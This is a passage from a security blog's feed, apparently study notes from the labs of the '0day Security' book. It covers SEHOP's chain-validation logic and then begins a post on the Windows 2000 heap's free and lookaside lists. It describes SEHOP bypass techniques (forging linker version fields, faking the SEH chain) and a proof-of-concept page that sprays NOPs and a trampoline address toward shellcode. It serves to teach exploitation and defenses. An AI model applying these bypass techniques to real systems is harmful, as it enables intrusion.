half)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;01DCF612   &lt;/span&gt;&lt;span&gt;0B&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;span&gt;    (trampoline address, high half)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;01DCF614   &lt;/span&gt;&lt;span&gt;90&lt;/span&gt;&lt;span&gt;       &lt;/span&gt;&lt;span&gt;; the shellcode starts here&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The POC page uses JavaScript to glue a run of &lt;code&gt;邐&lt;/code&gt; characters (U+9090, two NOPs each) and the trampoline address into a Unicode string and feeds it to the control’s &lt;code&gt;test()&lt;/code&gt;. The divide-by-zero exception fires, it breaks at the trampoline, and it jumps into the shellcode.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;SEHOP and the integrity of the whole chain&lt;a href=&quot;#sehop-and-the-integrity-of-the-whole-chain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;SafeSEH checks a single handler. SEHOP comes at it from another angle and checks whether the whole SEH chain has been broken. The core of it is whether the last handler on the chain is the system’s fixed final exception handler. If it is, the chain is intact. If it isn’t, something in the middle was overwritten and an SEH overwrite attack may be happening, so the current handler isn’t run.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;process_flags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // only check if there are SEH records&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;FFFFFFFF&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;do&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stack_bottom&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stack_top&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // the record must be on the stack&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;goto&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;corruption&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sizeof&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;EXCEPTION_REGISTRATION&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stack_top&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // entirely on the stack&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;goto&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;corruption&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // 4-byte aligned&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;goto&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;corruption&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;handler&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;handler&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;handler&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stack_bottom&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;handler&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stack_top&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // the handler can&apos;t be on the stack&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;goto&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;corruption&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;next&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;record&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;FFFFFFFF&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt;  // walk the whole chain&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;TEB&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;word_at_offset_0xFCA&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;handler&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;FinalExceptionHandler&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // the core check: the last one must be the final handler&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;goto&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;corruption&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;Ways around it&lt;a href=&quot;#ways-around-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Go straight for the return address or a virtual function&lt;/strong&gt;. If a function has SEHOP but not GS (or just happens to be missing GS), attack the return address directly. SEHOP doesn’t protect vtables either, so attacking virtual functions still works&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use a module without SEHOP&lt;/strong&gt;. The system decides whether to turn SEHOP off for a program based on &lt;code&gt;MajorLinkerVersion&lt;/code&gt;/&lt;code&gt;MinorLinkerVersion&lt;/code&gt; in its PE header (Microsoft turned it off for some packers like Armadillo). Set those two to &lt;code&gt;0x53&lt;/code&gt; and &lt;code&gt;0x52&lt;/code&gt; and the program passes as Armadillo-packed, which turns SEHOP off&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fake the whole SEH chain (as long as ASLR is off)&lt;/strong&gt;. SEHOP only looks at “is the last one the final handler”, so build a fake chain that ends exactly at the system’s final handler address, and it looks like the chain is intact. Combined with a &lt;code&gt;pop/pop/ret&lt;/code&gt; from a module without SafeSEH, it fools SafeSEH and SEHOP at the same time&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;One implementation detail. Starting with Win7, the second module in &lt;code&gt;PEB_LDR_DATA&lt;/code&gt; is KernelBase, so the shellcode from &lt;a href=&quot;/posts/reread-0day-1-stack-overflow-and-shellcode/&quot;&gt;part one&lt;/a&gt; that “takes the second node as kernel32” needs an extra &lt;code&gt;mov ecx, [ecx]&lt;/code&gt; (machine code &lt;code&gt;\x8B\x09&lt;/code&gt;) in the middle to step one more node before it gets kernel32 on Win7.&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Looking at it again today&lt;a href=&quot;#looking-at-it-again-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This whole post looks very different in the 64-bit era.&lt;/p&gt;&lt;p&gt;The most fundamental change is that &lt;strong&gt;on x64, SEH no longer lives on the stack&lt;/strong&gt;. 64-bit Windows uses table-based exception handling. Each function’s unwind info and exception handlers are registered in the PE’s &lt;code&gt;.pdata&lt;/code&gt;/&lt;code&gt;.xdata&lt;/code&gt;, which are read-only, so at runtime there’s no SEH chain on the stack for an overflow to overwrite at all. That means this entire class of “overwrite the SEH record” attacks, together with SafeSEH and SEHOP above, only matters in 32-bit processes. The places you still meet 32-bit SEH overwrites today are mostly old 32-bit programs and some embedded or industrial control software.&lt;/p&gt;&lt;p&gt;The GS cookie is still around and keeps getting stronger, but it was never a defense on its own, just one layer in a deeper stack. What really makes “overwrite the return address” a dead end in modern 64-bit processes is the hardware-enforced shadow stack (Intel CET / Windows Hardware-enforced Stack Protection). On &lt;code&gt;ret&lt;/code&gt;, the CPU checks the return address against its copy on the shadow stack, and if they don’t match you get an exception right away, so changing the return address on the stack does nothing.&lt;/p&gt;&lt;p&gt;And the gap in point 3, “GS can’t protect virtual function pointers”, is exactly where modern exploitation happens. That’s why Microsoft added CFG (Control Flow Guard) and the stricter XFG to police the targets of indirect calls. That part, together with vtable attacks, continues in the next post on DEP and ASLR.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Rereading 0day Security (2), the NT5 Heap, DWORD SHOOT and the First Heap Protections</title><link>https://blog.lumysia.net/posts/reread-0day-2-nt5-heap/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/reread-0day-2-nt5-heap/</guid><description>Debugging the free lists and lookaside lists on Windows 2000, using unlink for a DWORD SHOOT that overwrites a function pointer in the PEB, then a look at safe unlink, heap cookies and metadata encoding from XP SP2 on.</description><pubDate>Tue, 20 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Part two of my “Rereading 0day Security” series. These are the notes I kept in 2020 while doing the labs in &lt;em&gt;0day Security: Software Vulnerability Analysis Techniques, 2nd edition&lt;/em&gt; (by failwest and others). The labs and code come from the book, and the memory observations are what I wrote down while debugging. When I tidied this up in 2026 I fixed a few mistakes and added “Looking at it again today” at the end.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;The Windows heap has always been a messy place, and the way it’s managed is really strange&lt;/p&gt;
&lt;p&gt;Note: everything here was done on Windows 2000&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;About the heap&lt;a href=&quot;#about-the-heap&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;How it differs from the stack&lt;a href=&quot;#how-it-differs-from-the-stack&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The heap is memory a programmer asks the OS for with functions like malloc. Whether that works depends a lot on the state of the OS, and unlike the neatly managed stack, its management and allocation algorithms are very peculiar&lt;/li&gt;
&lt;li&gt;The programmer frees heap memory with free or delete, while the system frees the stack automatically&lt;/li&gt;
&lt;li&gt;Heap addresses vary a lot, while stack addresses are fairly fixed. On 2000/XP the main thread’s stack is usually at &lt;code&gt;0x0012XXXX&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The heap grows from low addresses to high, the stack from high to low&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Heap security&lt;a href=&quot;#heap-security&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The heap is chaotic, so exploiting it is much harder than exploiting the stack, and Microsoft never documented how it’s managed, which makes research harder&lt;/li&gt;
&lt;li&gt;From Windows 2000 to Windows XP SP1, heap management didn’t think about security at all and was easy to exploit&lt;/li&gt;
&lt;li&gt;From Windows XP SP2 to Windows 2003, it gained a cookie in the chunk header, pointer validation and so on&lt;/li&gt;
&lt;li&gt;From Windows Vista to Windows 7, heap management changed a lot in security, stability and efficiency&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Heap data structures and how they’re managed&lt;a href=&quot;#heap-data-structures-and-how-theyre-managed&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Two kinds of heap structure&lt;a href=&quot;#two-kinds-of-heap-structure&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Heap chunks: heap memory is organized into chunks of different sizes, and the chunk is the unit everything is tracked by.
&lt;ul&gt;
&lt;li&gt;Chunk header: this chunk’s size and whether it’s in use&lt;/li&gt;
&lt;li&gt;Chunk body: the data&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Heap tables: these sit at the start of the heap and index all the important information about it, including each chunk’s size, location and whether it’s in use. A heap table usually takes more than one kind of data structure.&lt;/li&gt;
&lt;li&gt;On Windows, a chunk in use is only referenced by the program using it. The heap tables only index free chunks.&lt;/li&gt;
&lt;li&gt;The important heap tables on Windows:
&lt;ul&gt;
&lt;li&gt;Doubly linked free lists (Freelist)
&lt;ul&gt;
&lt;li&gt;There are 128 free lists. The second one, &lt;code&gt;freelist[1]&lt;/code&gt;, tracks free chunks of 8 bytes, and each one after that goes up by 8 bytes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;free chunk size (including header) = index * 8 (bytes)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;freelist[0]&lt;/code&gt; tracks every chunk bigger than 1024 bytes (up to 512KB), sorted from smallest to largest&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Singly linked fast lists (Lookaside)
&lt;ul&gt;
&lt;li&gt;There are 128 lookaside lists, organized like the free lists but singly linked&lt;/li&gt;
&lt;li&gt;They always start out empty, and each one holds at most 4 nodes&lt;/li&gt;
&lt;li&gt;Every node is marked as in use, so chunks on them never get coalesced&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;How it’s managed&lt;a href=&quot;#how-its-managed&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Allocating chunks
&lt;ul&gt;
&lt;li&gt;From free list zero: free chunks of different sizes are linked in ascending order. It looks backwards from &lt;code&gt;free[0]&lt;/code&gt; for the last chunk, then searches forwards for the smallest free chunk that fits&lt;/li&gt;
&lt;li&gt;From an ordinary free list: look for the best fit first, then the next best&lt;/li&gt;
&lt;li&gt;From a lookaside list: find the list with a matching size, take the chunk off, and give the program a pointer to it&lt;/li&gt;
&lt;li&gt;When no free list has an exact fit, a slightly bigger chunk is used. This is the next-best fit. It cuts a piece of exactly the requested size out of the big chunk, writes a new header on what’s left, and links that back into a free list.&lt;/li&gt;
&lt;li&gt;Lookaside lists only hand out exact matches, so none of that happens there&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Freeing chunks
&lt;ul&gt;
&lt;li&gt;The chunk is marked free and linked into the matching heap table. Freed chunks go on the end of the table, and allocation also takes from the end first.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Coalescing chunks
&lt;ul&gt;
&lt;li&gt;Allocating and freeing over and over leaves lots of fragments, so some chunks get merged to use memory sensibly&lt;/li&gt;
&lt;li&gt;That means taking two chunks off their free lists, merging them, fixing up the header of the new bigger chunk, and linking it back into a free list&lt;/li&gt;
&lt;li&gt;The heap also gets compacted (shrink the compact) by &lt;code&gt;RtlCompactHeap&lt;/code&gt;, which goes over the whole heap and merges whatever free fragments it can&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Allocation and free strategy by size
&lt;ul&gt;
&lt;li&gt;Small chunks (SIZE&amp;lt;1KB)
&lt;ul&gt;
&lt;li&gt;Allocating
&lt;ul&gt;
&lt;li&gt;Lookaside list first, then an ordinary free list&lt;/li&gt;
&lt;li&gt;If that fails, use the heap cache&lt;/li&gt;
&lt;li&gt;If the heap cache fails, compact the heap and try again&lt;/li&gt;
&lt;li&gt;If it still can’t allocate, return NULL&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Freeing
&lt;ul&gt;
&lt;li&gt;Link into the lookaside list first (it only takes 4 free chunks)&lt;/li&gt;
&lt;li&gt;If the lookaside list is full, link into the matching free list&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Large chunks (1KB&amp;lt;=SIZE&amp;lt;512KB)
&lt;ul&gt;
&lt;li&gt;Allocating
&lt;ul&gt;
&lt;li&gt;Use the heap cache&lt;/li&gt;
&lt;li&gt;If the heap cache fails, use a big chunk from free[0]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Freeing
&lt;ul&gt;
&lt;li&gt;Put it in the heap cache first&lt;/li&gt;
&lt;li&gt;If the heap cache is full, link it into freelists[0]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Huge chunks (SIZE&amp;gt;=512KB)
&lt;ul&gt;
&lt;li&gt;Allocating: virtual allocation (not from the heap at all)&lt;/li&gt;
&lt;li&gt;Freeing: freed directly, no heap table involved&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Hands-on&lt;a href=&quot;#hands-on&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Learned the hard way: in both the free lists and the lookaside lists, the &lt;code&gt;Blink/Flink&lt;/code&gt; pointers &lt;strong&gt;always&lt;/strong&gt; point at the &lt;code&gt;Blink/Flink&lt;/code&gt; of the next/previous node&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h3&gt;Testing the free lists&lt;a href=&quot;#testing-the-free-lists&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Code&lt;a href=&quot;#code&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HLOCAL&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h5&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h6&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HANDLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 